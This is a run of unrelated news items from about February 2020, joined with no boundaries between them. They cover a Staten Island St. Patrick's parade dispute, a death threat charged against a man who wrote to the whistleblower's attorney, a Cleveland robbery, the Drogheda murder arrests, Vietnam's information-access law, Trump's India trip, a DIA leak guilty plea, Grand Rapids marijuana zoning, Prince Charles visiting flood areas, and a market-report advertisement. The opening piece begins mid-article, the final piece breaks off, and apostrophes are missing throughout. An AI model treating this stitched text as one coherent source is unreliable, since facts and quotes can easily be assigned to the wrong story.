Bullock said Cummings has emphasized to her in the past the parade is put on by a Catholic Organization. I believe if thats the stance some dialogue could at least happen, she said referring to talks between the Archdiocese and AOH. But the Archdiocese would not say whether it considers the parade a Catholic event, only saying St. Patricks Day parades and St. Patricks Day are not organized and sponsored by the church. Saint Patrick is the Patron Saint of the Archdiocese of New York, and he is celebrated on his feast day, Saint Patricks Day, March 17, said Archdiocese of New York Spokesman Joseph Zwilling. That is why we have a special Mass in Saint Patricks Cathedral, and in the parishes of the archdiocese. The various parades in honor of Saint Patrick and Saint Patricks Day are not organized or sponsored by the archdiocese. Nor is the Ancient Order of Hibernians an archdiocesan entity. The iconic Manhattan St. Patricks Day Parade began allowing members of the LGBTQ community to march openly in 2015. The year they were allowed to march, Cardinal Timothy Dolan was the parades grand marshal. But before that, in 2000, Queens started holding the LGBTQ-friendly St. Pats For All, as an alternative to the Manhattan parade. Bullock said she plans to march with the Pride Centers banner in both the Manhattan and Queens parades. The group of protesting politicians includes the Mayor Bill de Blasio, Rep. Max Rose (D-Staten Island/South Brooklyn), state Sen. Diane Savino (D-North Shore/South Brooklyn), Councilwoman Debi Rose (D-North Shore) and Republican Borough President James Oddo. However, none of them, except for Oddo and the mayor, would say whether they plan to go to the party at Jodys before the parade. City Council Minority Leader Steven Matteo (R-Mid Island) said he was undecided about whether he would attend the parade and the pre-parade party when reached earlier this week. Assemblywoman Nicole Malliotakis (R-East Shore/South Brooklyn), Councilman Joe Borelli (R-South Shore) and fellow Irish American lawmakers Michael Reilly (R-South Shore), and DA McMahon all plan to attend the parade. Assemblymen Charles Fall (D-North Shore) and state Sen. Andrew Lanza (R-Staten Island) did not return multiple requests for comment on whether they would attend. FOLLOW SYDNEY KASHIWAGI ON TWITTER. Federal Prosecutors Charge Man With Making Death Threat Against Whistleblower Attorney A Michigan man was charged by federal prosecutors with sending a death threat to an attorney representing the person who filed a complaint against President Donald Trump last year, widely known as the whistleblower. Brittan Atkinson sent the email on or about Nov. 7, 2019, to the attorney. All traitors must die miserable deaths, Atkinson wrote, according to an indictment unsealed on Thursday. Those that represent traitors shall meet the same fate .We will hunt you down and bleed you out like the pigs you are. We have nothing but time, and you are running out of it. Atkinson told the lawyer that he should keep looking over your shoulder and informed him that we know who you are, where you live, and who you associate with. Mark Zaid, one of the attorneys representing the whistleblower, said in a statement that the attorney who received the threat was him. Its not appropriate for anyone to threaten another individuals life, regardless of political views. My job was to ensure the rule of law was followed in how whistleblowers are treated. That role should not be negatively weaponized by partisans, he said in a statement. I hope this indictment sends a message to others that such behavior will not be tolerated by a civil society that is governed by law. Atkinson was arrested and is being held until a Feb. 24 detention hearing, according to court records. The indictment was filed in the U.S. District Court of the Eastern District of Michigan. He was charged with violating interstate communications, which includes any communications containing any threat to kidnap any person or any threat to injure the person of another. A member of the audience holds a copy of the whistleblower complaint letter sent to Senate and House Intelligence Committees during testimony by Acting Director of National Intelligence Joseph Maguire before the House Intelligence Committee on Capitol Hill in Washington on Sept. 26, 2019. (Pablo Martinez Monsivais/AP Photo) Atkinsons wife, Theresa Atkinson, told NBC News his arrest left her speechless. Was his email tactful? No, it wasnt. Was it kind of disturbing? Yes, it was, she said from her home in Beaverton, Michigan. But him along with several other people in this country are fed up with the [expletive]. They just want the country to run. She described her husband as a former construction worker who currently lacks income and is disabled. Hes not in a group of anything except his little clan that plays video games, she said. Hes nothing. Hes no one. He sometimes has a big mouth and he does get angry, but he is not a threat in any way shape or form and he has a constitutional right to speak. The whistleblowers complaint triggered an impeachment inquiry by the House of Representatives, which culminated with Trump being impeached. The Senate acquitted Trump in January. Trump repeatedly railed against the person, pointing to reports that the whistleblower had a tie to a Democratic presidential candidate. Zaid pushed back, saying the indications of political bias outlined in a report from the inspector general of the intelligence community was nothing more than the whistleblower being a registered Democrat. Andrew Bakaj, another attorney representing the whistleblower, later sent a cease and desist letter to try to stop Trump from criticizing the person. I am writing out of deep concern that your client, the President of the United States, is engaging in rhetoric and activity that places my client, the Intelligence Community Whistleblower, and their family in physical danger. I am writing to respectfully request that you counsel your client on the legal and ethical peril in which he is placing himself should anyone be physically harmed as a result of his, or his surrogates, behavior, Bakaj wrote to White House counsel Pat Cipollone. CLEVELAND, Ohio A Cleveland man acted as a getaway driver after his accomplice stuck a gun into a womans mouth during a robbery, court records say. Bobby B. Lewis, 26, is charged with aggravated robbery in the incident on Walworth Avenue near West 53rd Street, according to court records. He is not in custody, but a warrant was issued Sunday for his arrest. A 26-year-old woman suffered a head injury when Lewis unidentified accomplice pushed her to the ground during the Jan. 5 armed robbery, according to court records. The woman was walking home from a party just after 1 a.m. when she noticed a silver Dodge Caliber with temporary tags drive by her several times. The car pulled into a parking lot, and the woman kept walking, according to a police report. The unidentified robber walked up to the woman and grabbed her coat. He put a gun into the womans mouth and told her to keep quiet, the police report says. The robber demanded the womans wallet. He took it from her before he pushed her to the ground, causing her to hit the back of her head, the police report says. The robber also took the womans cellphone before he left in the Dodge. The woman flagged down a passing car. Its driver called 911 to report the robbery. Court records do not say how investigators identified Lewis as the getaway driver. Lewis criminal history includes prior convictions for felonious assault, drug possession and weapons offenses. He spent two years in prison after pleading guilty to felonious assault in 2016, according to Cuyahoga County court records. To comment on this story, visit Thursdays crime and courts comments page. Read more crime stories: Stolen car involved with pursuit with Cleveland police crashes into two other cars, police say Two in critical condition after hazmat situation at Cleveland trucking company Richmond Heights man killed behind the wheel in Clevelands Euclid-Green neighborhood Cleveland man with history of sex crimes drove up beside teen girls and masturbated, records say Bay Village man found dead in home with hazardous materials, pipe bomb took his own life, officials say A man who gardai believe lured teenager Keane Mulready-Woods to his death was one of two criminals arrested in dawn raids by officers investigating the murder that shocked the nation last month. More than two dozen officers were involved in an arrest operation at two locations in Drogheda that began shortly after 7.30am yesterday. Two men, who are suspected of being involved in the barbaric murder of the 17-year-old, were still being questioned last night under anti-gangland legislation. Our exclusive photos show one of the suspects, a 38-year-old Drogheda criminal, being arrested at an address in the Rathmullen Park area of the town. He is suspected of playing a major role in luring Keane to the house in which he was butchered on the night of January 12. The arrested criminal is a major drugs user and previously served jail time in relation to a stabbing attack on a completely innocent man. Expand Close Arrested man is put in a garda car and taken for questioning / Facebook Twitter Email Whatsapp Arrested man is put in a garda car and taken for questioning Addict He was taken to Balbriggan Garda Station where he remained last night. It is expected he may also be questioned about his alleged links to a stolen Volvo V40, which was abandoned and set alight in a laneway in Ballybough in Dublin's north inner city. Keane's head was found in the vehicle in the early hours of January 15. Expand Close Teenage murder victim Keane Mulready-Woods / Facebook Twitter Email Whatsapp Teenage murder victim Keane Mulready-Woods At around the same time that the 38-year-old drug addict was being picked up by detectives, a 51-year-old man was arrested in a nearby housing estate where he had been living with a relative. The middle-aged criminal is considered a key member of the anti-Maguire mob and is suspected of having vital information about Keane's murder. A property in Rathmullen Park closely connected to the suspect was searched over a number of days after the murder, and gardai believe the teenager was killed at this location. The arrested man was a close associate of feud murder victim Keith Branigan, and is suspected of destroying evidence at the home where gardai believe Keane was killed. House furniture belonging to the man was found burnt-out in a green area close to his home, while burnt clothing was also recovered. The criminal was also allegedly caught on CCTV in the aftermath of Keane's murder buying items that gardai believe helped cover up evidence. A source said the suspect was closely linked to Branigan while also being a trusted associate of the 25-year-old mob boss leading the anti-Maguire faction, who is currently on the run in Spain. Branigan was the first fatality of the Drogheda feud when he was gunned down in a caravan park in Clogherhead last August 27. "A large amount of evidence has been recovered from the arrested man's home and he is very much suspected of helping the gang who carried out the teenager's murder," the source said. "He has known links to the anti-Maguire gang and would be considered a trusted member of the group." The 51-year-old was still being held at Drogheda Garda Station yesterday evening. Gardai announced details of the arrests yesterday. They are the first in the massive investigation, and more are expected in the coming weeks. The suspects can be held for up to seven days. Psychopathic Earlier this week, the Herald revealed that gardai are investigating reports that one of the chief suspects in Keane's murder has fled to Istanbul. The psychopathic 35-year-old Dublin criminal has not been on the radar of gardai for a number of weeks now. He had been living in Co Meath, and is believed to have spent time in Northern Ireland and England before doing a runner to Turkey. Gardai say two brothers, who are in their 20s and considered the Drogheda leaders of the gang that murdered Keane, have fled via the UK to Spain. It emerged yesterday that one of them is now in custody there, accused of assaulting a woman. Another suspect in Keane's murder is currently locked up in Mountjoy Prison over a separate matter. The thug, aged 24, was questioned by gardai earlier this month. This is one of the key recommendations from the latest research Initial Assessment on implementation of the LAI based on a survey with more than 250 state agencies across the country and an in-depth study in eight provinces and cities including Ha Giang, Cao Bang, Bac Kan, Dien Bien, Son La, Quang Binh, Quang Tri, and Da Nang. The research is shared at an European Union-funded workshop entitled Sharing Experiences on Promoting the Implementation of the Law on Access to Information in Hanoi on February 21st 2020, organised by the Center for Education Promotion and Empowerment of Women (CEPEW), CARE International in Vietnam, Oxfam in Vietnam and several coalitions of social organisations. Source: Ministry of Justice At the workshop, participants from the Ministry of Justice, the Ethnic Council, the Office of the National Assembly provincial justice departments, news agencies, academia, and social organisations analysed and discussed the current situation of the LAI implementation. The implementation of the Law on Access to Information (LAI), effective since July 1st 2018, has brought about positive results but more efforts and commitment from both the government and people are needed to bring in authentic effectiveness. The dissemination and raising awareness about the Law and its guidance documents has not been prioritised. Staff from many state agencies have not known that providing information as requested by citizens is their public administration responsibilities. This has caused barriers for citizens to feel confident in accessing to information they need. Meanwhile, citizens are yet to understand their own rights to access to information and their benefits, showing hesitation in requesting information from state agencies. The guiding role of the Ministry of Justice and Provincial Peoples Committees is highlighted in the discussion. Experts recommended that the Ministry develop a checklist of nine responsibilities for information provision and share it with all ministries and state agencies, Peoples Committees, and Department of Justice in all 63 provinces and cities. A monitoring mechanism should be in place to report the task completion progress. Experts also pointed out that Vietnam has not made the best use of its favorable technology foundation for disseminating laws and policies. The country currently has 59.2 million people using internet, accounting for 60 per cent of the population. We can expect better and more concrete results from implementing the Law on Access to Information, said Ms. Ngo Thi Thu Ha, Director of CEPEW, on behalf of the research team, We appreciate the Government Portal launched in December 2019; that is one great step to get the Government closer to citizens and vice versa. We should take this further by joint efforts in which the role of the press and mass media is critical. This workshop follows the first one held in March 2019 on the same topic. Both received financial support by the European Union and were organised by CEPEW, CARE, and Oxfam in collaboration with three coalitions, FORLAND, Vietnam Mining Coalition, Clean Water Alliance, and NorthNet a network of more than 10 social organisations in the northern mountainous areas of Viet Nam./. New Delhi: US President Donald Trumps senior adviser and daughter Ivanka Trump who visited Hyderabad for the Global Entrepreneurship Summit (GES) in November 2017 will accompany her father and First Lady Melania Trump during the Presidential visit to Ahmedabad, Agra and New Delhi next week, sources confirmed on Friday. Mr Trumps son-in-law Jared Kushner, also a senior adviser, will be part of the visit. Meanwhile, Mr Trump sought to mount pressure on India on the trade front. Im going to India next week and were talking trade, he told the media on Friday. They have been hitting us very hard for many, many years. Mr Trump had recently accused India of not treating the US well, something that Delhi mai-ntained was in the context of balance of trade. Mr Trump also claimed 10 million people would greet him at Ahmedabad. He earlier said it would be five to seven million. Officials in Ahmedabad indicated that between up to two lakh people would welcome Mr Trump, who will be accompanied by Prime Minister Narendra Modi, at the newly-constructed Motera stadium. Prime Minister Modi said we will have 10 million people to greet you. Ill never be satisfied with (our own) crowd if we have 10 million in India, the US President was further quoted as having said at a re-election campaign rally in Colorado Springs. The delegation will also include US National Security Adviser Robert O Brien, commerce secretary Wilbur Ross and energy secretary Dan Brouillette. Former DIA Employee Pleads Guilty to Leaking Classified National Defense Information to Journalists FOR IMMEDIATE RELEASE Thursday, February 20, 2020 An employee of the Defense Intelligence Agency (DIA) pleaded guilty today to charges related to his disclosure of classified national defense information (NDI) to two journalists in 2018 and 2019. "Frese violated the trust placed in him by the American people when he disclosed sensitive national security information for personal gain," said Assistant Attorney General for National Security John C. Demers. "He alerted our country's adversaries to sensitive national defense information, putting the nation's security at risk. The government takes these breaches seriously and will use all the resources at our disposal to apprehend and prosecute those who jeopardize the safety of this country and its citizens." "Henry Kyle Frese was entrusted with Top Secret information related to the national defense of our country," said G. Zachary Terwilliger, U.S. Attorney for the Eastern District of Virginia. "Frese violated that trust, the oath he swore to uphold, and engaged in felonious conduct at the expense of our country. This case should serve as a clear reminder to all of those similarly entrusted with National Defense Information that unilaterally disclosing such information for personal gain, or that of others, is not selfless or heroic, it is criminal." "Mr. Frese violated his sworn oath to protect the American people and uphold the Constitution of the United States by using his access to the United States' most sensitive information and steal state secrets for nothing more than personal gain," said Robert Wells, Acting Assistant Director of the FBI's Counterintelligence Division. "The men and women of the FBI who investigated this case swore the same oath but unlike Mr. Frese, they chose to uphold it. I am proud of the work they did to hold Mr. Frese accountable for his actions." "By disseminating the same classified information he had pledged to protect, Henry Kyle Frese put the US and our national defense equities in danger," said Timothy R. Slater, Assistant Director in Charge of the FBI's Washington Field Office. "The US Government and the American public depend on trusted government employees to keep such information out of the hands of our adversaries, who could use it to cause us harm. The FBI's counterintelligence mission is to protect our country's information and secrets in order to safeguard our future; and the men and women of the FBI will continue to work hard to preserve that information." According to court documents, Henry Kyle Frese, 31, of Alexandria, was employed by DIA as a counterterrorism analyst from February 2018 to October 2019, and held a Top Secret//Sensitive Compartmented Information security clearance. United States government agencies have confirmed that in the spring and summer of 2018, News Outlet 1 published eight articles, all authored by the same journalist (Journalist 1) that contained classified NDI that related to the capabilities of certain foreign countries' weapons systems. These articles contained classified intelligence from five intelligence reports (the Compromised Intelligence Reports) made available to appropriately cleared recipients in the first half of 2018. The topic of all of these initial five Compromised Intelligence Reports foreign countries' weapons systems was outside the scope of Frese's job duties as an analyst covering CT topics. The media articles, and the intelligence reporting from which they were derived, both contained information that is classified up to the TS//SCI level, indicating that its unauthorized disclosure could reasonably be expected to result in exceptionally grave damage to the national security. The intelligence reporting was marked as such. According to court documents, Frese and Journalist 1 lived together at the same residential address from January 2018 to November 2018. Throughout 2018 and 2019, Frese and Journalist 1 "followed" each other on Twitter, and on at least two occasions Frese re-Tweeted Journalist 1's Tweets announcing the publications of articles containing NDI classified at the Top Secret level. In or about April of 2018, Journalist 1 introduced Frese to a second journalist (Journalist 2). Subsequently, Frese began texting and speaking with Journalist 2 by telephone. Between mid-2018 and late September 2019, Frese orally transmitted NDI classified at the Top Secret level to Journalist 1 on 12 separate occasions, and orally transmitted NDI classified at the Secret level to Journalist 1 on at least four occasions. Frese knew the information was classified at the Secret and Top Secret levels because the intelligence products from which he had learned the classified information had visible classification markings as to the classification level of the information, and the intelligence products accessed by Frese were stored on secure, classified government information systems. In relation to one of the 12 times Frese orally transmitted Top Secret NDI to Journalist 1, in or about mid-April to early May 2018, Frese accessed an intelligence report unrelated to his job duties on multiple occasions, which contained NDI classified at the Top Secret//SCI level (Intelligence Report l). A week after Frese accessed Intelligence Report 1 for the second time, Frese received an April 27, 2018 Twitter Direct Message (DM) from Journalist 1 asking whether Frese would be willing to speak with Journalist 2. Frese stated that he was "down" to help Journalist 2 if it helped Journalist 1 "progress." During the same April 27, 2018, Twitter exchange, Journalist 1 indicated that a certain United States military official told Journalist 2 that the official was not aware of the subject matter discussed in Intelligence Report 1. Frese characterized the official's denial as "weird" and commented on the source of information contained within Intelligence Report 1. Several days after the April 27, 2018, Twitter exchange, Frese searched on a classified United States government computer system for terms related to the topics contained in Intelligence Report 1. A few hours after searching for terms related to the topic of Intelligence Report l, Frese spoke by telephone with Journalist 1, and several hours later he spoke by telephone with Journalist 2. Immediately after the call with Journalist 2, Journalist 1 called Frese. During at least one of the calls with Journalist 1 and Journalist 2, Frese orally passed Top Secret NDI derived from Intelligence Report 1. Approximately 30 minutes after Frese spoke with the two journalists, Journalist 1 published an article (Article 1) which contained Top Secret NDI, orally communicated by Frese and derived from Intelligence Report 1 classified at the Top Secret//SCI level. On at least 30 separate occasions in 2018, Frese conducted searches on classified government systems for information regarding the classified topics he discussed with Journalists 1 and 2. On multiple occasions in 2018 and 2019, Frese conducted searches on classified government systems because of specific requests for information from Journalists 1 and 2. Additionally, between early 2018 and October 2019, Frese communicated with an employee of an overseas CT consulting group (Consultant 1) via social media. On at least two occasions, Frese transmitted classified NDI related to CT topics to Consultant 1, using a social media site's direct messaging feature. Frese pleaded guilty to the willful transmission of Top Secret national defense information, and faces a maximum penalty of 10 years in prison when sentenced on June 18, 2020, at 9:30 am. Actual sentences for federal crimes are typically less than the maximum penalties. A federal district court judge will determine any sentence after taking into account the U.S. Sentencing Guidelines and other statutory factors. Assistant U.S. Attorneys Neil Hammerstrom and Danya E. Atiyeh, and Trial Attorney Jennifer Kennedy Gellie of the National Security Division's Counterintelligence and Export Control Section are prosecuting the case. Topic(s): Counterintelligence and Export Control National Security Component(s): National Security Division (NSD) USAO - Virginia, Eastern Press Release Number: 20-211 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address GRAND RAPIDS, MI -- A group of religious leaders say the citys proposed recreational marijuana rules leaves the faith community out of the conversation. Draft marijuana rules approved Feb. 13 by the Grand Rapids Planning Commission would eliminate a requirement for a waiver to open recreational and medical marijuana shops within 1,000 feet of a religious institutions. For the rules to take effect, the Grand Rapids City Commission must also approve them. Last week 18 pastors and ministers mostly from Grand Rapids Southeast Side signed a letter asking city commissioners to not approve those rule changes. The waiver process affords religious leaders a hearing to state why the proposed marijuana businesses would or would not be detrimental to their congregation and place of worship. The Grand Rapids Planning Commission uses that testimony to decide whether its appropriate to issue a waiver for a business. We wholeheartedly believe that these waivers ensure that communities of faith - many who are deeply invested in the community and have residents who are active members - remain engaged in these conversations, according to the letter. Many residents do not engage in these conversations. Churches can open the door to ensure that the community is aware of what is happening. It also offers an opportunity for the dispensaries to engage the community on a deeper level. The letter also mentions that some feel marijuana shops wont add value to their neighborhoods and that the state has a similar waiver for retail alcohol establishments that want to locate within 500 feet of a church. However, the pastors note they respect the will of the voters and that many of them have seen positive effects in the pain relief some congregants have gotten from medical marijuana. A public hearing before the city commission on the proposed rules is tentatively scheduled for March 17. The rules must be in place before the city starts accepting applications for recreational marijuana businesses on April 20. Related: Grand Rapids sets 4/20 target date to accept recreational marijuana applications Since the city planning commission began hearing applications for medical marijuana facilities in May 2019, 17 religious waivers have been sought and 13 of those have been issued. Four were denied. Planning Commission Chair Kyle Van Strien declined to give a summary of the planning commissions rationale behind removing waivers for religious institutions. He cited pending deliberation on the draft rules by the city commission as his reason for declining. According to the planning commissions Jan. 23 meeting minutes, some planning commissioners argued the waiver hearings are unnecessary because faith leaders can voice their concerns during the public hearing required for marijuana dispensaries and provisioning centers to obtain special use permits. The Rev. Jerry Bishop of LifeQuest Ministries told city commissioners at their Feb. 11 meeting that hes asking and praying the waiver requirement stays in place. I would really like to express that not only is my congregation vehemently opposed, but the vast majority of our faith community within that region is opposed to the consideration of a retail or a medical marijuana operation anywhere near the distance of Madison Square Church, Madison school of Ford or any other district," Bishop said. The Rev. Daniel Smith of Messiah Missionary Baptist Church told city commissioners there are disagreements among congregants about marijuanas benefits but not about where the businesses should be located. Even some of us pastors are gauging our own congregations to feel where they stand with regard to marijuana usage, Smith said. In some ways, its positive. In some ways, people still stand against this. But we stand in solidarity with this: that were not in agreement for dispensaries to be within the 1,000-foot range of our religious entities. The religious waiver removal was one of a number of changes to the citys existing marijuana ordinance that currently allows medical marijuana businesses and, once approved, will allow recreational marijuana businesses as well. In drafting the rule changes, the planning commission removed the waiver requirements related to religious institutions as well as public cemeteries and public parks without playgrounds. The proposed rules still bar marijuana shops and provisioning centers from being located within 1,000 feet of publicly-owned playgrounds, K-12 public and private schools, state-licensed child care centers and state-licensed substance use disorder programs. The shops are also not allowed within 2,000 feet of each other. Growing and processing facilities, however, are allowed under the new rules to be 500 feet or more away from each other if they dont have a retail component. They also follow the other buffer strictures, with exception to the playground rule. The planning commission additionally approved a number of changes to the Good Neighbor Plans," which they require businesses to submit with their application. The changes include now requiring rather than suggesting at least one neighborhood meeting prior to application. The draft rules do not allow temporary marijuana events and designated consumption establishments. While state law does not require a potential buffer between marijuana dispensaries and provisioning center, the letter from religious leaders cites a state law that forbids retail alcohol sales establishments within 500 feet of a church. The Michigan Liquor Control Commission can overturn that forbiddance if the affected church either fails to voice an objection or has none. If a church has objections, a hearing is held. Church leaders who attend the hearing have to show the alcohol sales would adversely affect the church, much like the citys religious waiver hearings. Read more on MLive: Weve been waiting our whole lives for this: recreational pot shop opens in West Michigan Its about time: Patients can get medical marijuana from facility in Grand Rapids Grand Rapids sets 4/20 target date to accept recreational marijuana applications Grand Rapids approves more medical marijuana dispensaries, bringing total to 24 T he Prince of Wales has visited flood victims in an area of South Wales where communities were devastated by Storm Dennis which battered Britain last weekend. Prince Charles met people in Pontypridd a town in the Valleys, where homes and businesses were flooded after the River Taff burst its banks. The heir to the throne expressed his desire to do more to help flood-affected residents and asked his aides to speak to insurance companies and other authorities to provide financial assistance. "Lets see if there is a way of finding a bit of help, Charles said during a visit to Kookoo Madame, a boutique and gift shop, run by shopowner Emma Jamal. Ms Jamal says she has lost stock worth hundreds of thousands of pounds after 4 feet of water destroyed everything. Charles, 71, has said he is concerned at insurance firms' refusal to pay out for flooded businesses. More than 1,000 homes and businesses in Rhondda Cynon Taf have been affected by heavy rain. Around 200 people gathered to meet Charles in the town centre, parts of which were left underwater after the river reached its highest level in 40 years. He spent an hour meeting people including first responders and shown his support of those who have been at the frontline dealing with the severe flooding in the wake of the storm. Prince Charles Visits Flood-hit Communities In South Wales Devastated By Storm Dennis Seven road and pedestrian bridges have been condemned and the bill for wider damage in the area will run into millions. Thousands of jobs are at risk because of the damage - an industrial estate employing 4,000 in Treforest alone is devastated - and there are fears for the safety of coal tips after a number of landslips. In the town, Charles visited The Princes Cafe, which has been put out of business for now after 7ft of water came into the basement on Sunday and wrecked the baking area. Drone images of Storm Dennis hitting Crickhowell in Wales 1 /10 Drone images of Storm Dennis hitting Crickhowell in Wales An aerial view of the Welsh village of Crickhowell which has been cut off as the river Usk bursts its banks at Crickhowell bridge near the Bridge End Inn, Wales Getty Images Getty Images Getty Images Getty Images Getty Images Getty Images Getty Images Getty Images A Met Office yellow weather warning for rain has been issued this weekend over some areas of England and Wales while communities continue to repair the damage caused by the floods. The heavy rain forecast could mean more flooding for some of the most vulnerable areas in the process of major clear-up operations. And the Environment Agency has warned that downpours could continue into next week and a spokesman said "ongoing river flooding remains probable for the River Severn on Monday and Tuesday". More than a month's rain fell in 48 hours on Saturday and Sunday. "Lets see if there is a way of finding a bit of help" says Charles, who is upset that insurance companies have refused to pay out to flood-hit residents / REUTERS Prince Charles' visit follows his first engagement in the country which first saw him visit the CAF train factory in Newport where he will meet employees and learn about the production process and officially open the facility. We then saw him test drive Aston Martins new luxury SUV at the car makers factory in St Athan, near Barry. NEW YORK, Feb. 21, 2020 /PRNewswire/ -- Coordinate Measuring Machines (CMM) market worldwide is projected to grow by US$1.4 Billion, driven by a compounded growth of 6.2%. Bridge-Type Machine, one of the segments analyzed and sized in this study, displays the potential to grow at over 6.4%. The shifting dynamics supporting this growth makes it critical for businesses in this space to keep abreast of the changing pulse of the market. Poised to reach over US$2.3 Billion by the year 2025, Bridge-Type Machine will bring in healthy gains adding significant momentum to global growth. Read the full report: https://www.reportlinker.com/p05621743/?utm_source=PRN - Representing the developed world, the United States will maintain a 5.3% growth momentum. Within Europe, which continues to remain an important element in the world economy, Germany will add over US$49.6 Million to the region's size and clout in the next 5 to 6 years. Over US$42.5 Million worth of projected demand in the region will come from Rest of Europe markets. In Japan, Bridge-Type Machine will reach a market size of US$120.6 Million by the close of the analysis period. As the world's second largest economy and the new game changer in global markets, China exhibits the potential to grow at 9.2% over the next couple of years and add approximately US$382.8 Million in terms of addressable opportunity for the picking by aspiring businesses and their astute leaders. Presented in visually rich graphics are these and many more need-to-know quantitative data important in ensuring quality of strategy decisions, be it entry into new markets or allocation of resources within a portfolio. Several macroeconomic factors and internal market forces will shape growth and development of demand patterns in emerging countries in Asia-Pacific, Latin America and the Middle East. All research viewpoints presented are based on validated engagements from influencers in the market, whose opinions supersede all other research methodologies. - Competitors identified in this market include, among others, Accurate Sales & Services Pvt. Ltd. Carl Zeiss Industrial Metrology LLC Chien Wei Precise Technology Co. Ltd. Dukin Co., Ltd. FARO Technologies, Inc. Helmel Engineering Products, Inc. Hexagon AB INSPECT 3D ITP Group Metrologic Group S.A Metronor AS Mitutoyo Corp. Nikon Metrology NV Renishaw plc. Sipcon Instrument Industries Tarus Products Inc. Trimek WENZEL Group Read the full report: https://www.reportlinker.com/p05621743/?utm_source=PRN I. INTRODUCTION, METHODOLOGY & REPORT SCOPE II. EXECUTIVE SUMMARY 1. MARKET OVERVIEW A Prelude Recent Market Activity Future of Coordinate Measuring Machines (CMMs) Portable CMMs Take Dimensional Measurement Activity from Quality Laboratories onto Production Floor Quintessential Growth Factors for CMM Market Higher Levels of Awareness among End-Users Demand for High Accuracy Devices Drive the Market Trend towards Miniaturization Recovery in Global GDP and Outlook for Industrial & Manufacturing Production Promise Stronger Growth for Metrology Equipment and CMMs Global Market Outlook Global Competitor Market Shares Coordinate Measuring Machines (CMM) Competitor Market Share Scenario Worldwide (in %): 2020 & 2029 2. FOCUS ON SELECT PLAYERS Accurate Sales & Services Pvt. Ltd. (India) Carl Zeiss Industrial Metrology LLC (USA) Chien Wei Precise Technology Co. Ltd. (Taiwan) Dukin Co., Ltd. (South Korea) FARO Technologies, Inc. (USA) Helmel Engineering Products, Inc. (USA) Hexagon AB (Sweden) INSPECT 3D (France) ITP Group (UK) Metrologic Group S.A (France) Metronor AS (Norway) Mitutoyo Corporation (Japan) Nikon Metrology NV (Belgium) Renishaw plc. (UK) Sipcon Instrument Industries (India) Tarus Products Inc. (USA) Trimek (Spain) WENZEL Group (Germany) 3. MARKET TRENDS & DRIVERS Developing Countries Drive Future Market Growth Off-Shoring of Manufacturing Activity Boosts Demand for CMM Market in Developing Countries Automobile Sector Key to Automated CMMs Demand Upward Trajectory in Automobiles Production Spurs Market Demand Aerospace & Defense Sector Offers Growth Opportunities for CMM Advent of Smaller Field-of-View Laser Sensors - A Boon to the Aircraft Industry Heavy Equipment Industry Promises Bright Prospects Growing Penetration of CMMs in the Medical Device Sector Portable CMMs Continue to Rise in Demand Articulated Arm Machines Market to Grow Optical CMMs Gain Rapid Popularity Macro CMMs Steal the Show Expanding CMM Capabilities Drive Adoption Software Upgrades and Probes Keep the Market Ticking Automated CMMs: The New 'It' in Dimensional Metrology Technology Advancements: Spearheading Growth Technology Reduces Set-Up Time of Coordinate Measuring Machine Optical CMM for Automatic Measurement of Small Cast Parts Rise of Optical Scanners Emergence of Multi-Axis Industrial Robot Portable Articulated Arm On-Machine Probing Comparative Gauging Comparative Gauging Automated Metrology Software Recent Metrology Software Advancements CMM Verification Gains Prevalence Market Challenges 4. GLOBAL MARKET PERSPECTIVE Table 1: Coordinate Measuring Machines (CMM) Global Market Estimates and Forecasts in US$ Thousand by Region/Country: 2018-2025 Table 2: Coordinate Measuring Machines (CMM) Global Retrospective Market Scenario in US$ Thousand by Region/Country: 2009-2017 Table 3: Coordinate Measuring Machines (CMM) Market Share Shift across Key Geographies Worldwide: 2009 VS 2019 VS 2025 Table 4: Bridge-Type Machine (Type) World Market by Region/Country in US$ Thousand: 2018 to 2025 Table 5: Bridge-Type Machine (Type) Historic Market Analysis by Region/Country in US$ Thousand: 2009 to 2017 Table 6: Bridge-Type Machine (Type) Market Share Breakdown of Worldwide Sales by Region/Country: 2009 VS 2019 VS 2025 Table 7: Articulated-Arm Machine (Type) Potential Growth Markets Worldwide in US$ Thousand: 2018 to 2025 Table 8: Articulated-Arm Machine (Type) Historic Market Perspective by Region/Country in US$ Thousand: 2009 to 2017 Table 9: Articulated-Arm Machine (Type) Market Sales Breakdown by Region/Country in Percentage: 2009 VS 2019 VS 2025 Table 10: Horizontal-Arm Machine (Type) Geographic Market Spread Worldwide in US$ Thousand: 2018 to 2025 Table 11: Horizontal-Arm Machine (Type) Region Wise Breakdown of Global Historic Demand in US$ Thousand: 2009 to 2017 Table 12: Horizontal-Arm Machine (Type) Market Share Distribution in Percentage by Region/Country: 2009 VS 2019 VS 2025 Table 13: Gantry-Type Machine (Type) World Market Estimates and Forecasts by Region/Country in US$ Thousand: 2018 to 2025 Table 14: Gantry-Type Machine (Type) Market Historic Review by Region/Country in US$ Thousand: 2009 to 2017 Table 15: Gantry-Type Machine (Type) Market Share Breakdown by Region/Country: 2009 VS 2019 VS 2025 III. MARKET ANALYSIS GEOGRAPHIC MARKET ANALYSIS UNITED STATES Market Facts & Figures US Coordinate Measuring Machines (CMM) Market Share (in %) by Company: 2020 & 2025 Market Analytics Table 16: United States Coordinate Measuring Machines (CMM) Market Estimates and Projections in US$ Thousand by Type: 2018 to 2025 Table 17: Coordinate Measuring Machines (CMM) Market in the United States by Type: A Historic Review in US$ Thousand for 2009-2017 Table 18: United States Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 CANADA Table 19: Canadian Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018 to 2025 Table 20: Canadian Coordinate Measuring Machines (CMM) Historic Market Review by Type in US$ Thousand: 2009-2017 Table 21: Coordinate Measuring Machines (CMM) Market in Canada: Percentage Share Breakdown of Sales by Type for 2009, 2019, and 2025 JAPAN Table 22: Japanese Market for Coordinate Measuring Machines (CMM): Annual Sales Estimates and Projections in US$ Thousand by Type for the Period 2018-2025 Table 23: Coordinate Measuring Machines (CMM) Market in Japan: Historic Sales Analysis in US$ Thousand by Type for the Period 2009-2017 Table 24: Japanese Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 CHINA Table 25: Chinese Coordinate Measuring Machines (CMM) Market Growth Prospects in US$ Thousand by Type for the Period 2018-2025 Table 26: Coordinate Measuring Machines (CMM) Historic Market Analysis in China in US$ Thousand by Type: 2009-2017 Table 27: Chinese Coordinate Measuring Machines (CMM) Market by Type: Percentage Breakdown of Sales for 2009, 2019, and 2025 